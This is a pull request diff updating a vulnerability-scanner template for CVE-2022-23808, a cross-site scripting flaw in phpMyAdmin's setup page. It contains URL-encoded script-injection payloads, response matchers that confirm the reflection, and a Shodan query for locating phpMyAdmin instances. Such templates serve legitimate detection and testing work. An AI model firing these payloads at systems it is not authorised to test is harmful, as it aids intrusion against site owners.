Merge pull request #4410 from daffainfo/patch-25

Update CVE-2022-23808.yaml

cves/2022/CVE-2022-23808.yaml

@@ -2,7 +2,7 @@ id: CVE-2022-23808
 
 info:
   name: phpMyAdmin < 5.1.2 - Cross-Site Scripting
-  author: cckuailong
+  author: cckuailong,daffainfo
   severity: medium
   description: An issue was discovered in phpMyAdmin 5.1 before 5.1.2 that could allow an attacker to inject malicious code into aspects of the setup script, which can allow cross-site or HTML injection.
   reference:
@@ -14,29 +14,35 @@ info:
     cvss-score: 6.1
     cve-id: CVE-2022-23808
     cwe-id: CWE-79
+  metadata:
+    verified: true
+    shodan-query: http.component:"phpmyadmin"
   tags: cve,cve2022,phpmyadmin,xss
 
 requests:
   - method: GET
     path:
-      - "{{BaseURL}}/setup/index.php?page=servers&mode=test&id=\">'><script>alert(document.domain)</script>"
-      - "{{BaseURL}}/phpmyadmin/setup/index.php?page=servers&mode=test&id=\">'><script>alert(document.domain)</script>"
+      - "{{BaseURL}}/phpmyadmin/setup/index.php?page=servers&mode=test&id=%22%3e%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
+      - "{{BaseURL}}/setup/index.php?page=servers&mode=test&id=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
 
     stop-at-first-match: true
     matchers-condition: and
     matchers:
-      - type: status
-        status:
-          - 200
+
+      - type: word
+        part: body
+        words:
+          - "\"></script><script>alert(document.domain)</script>"
+          - "<h2>Add a new server</h2>"
+          - "<title>phpMyAdmin setup"
+        condition: and
 
       - type: word
         part: header
         words:
           - "text/html"
 
-      - type: word
-        part: body
-        words:
-          - "\">'><script>alert(document.domain)</script>"
-
+      - type: status
+        status:
+          - 200
 # Enhanced by mp on 2022/03/08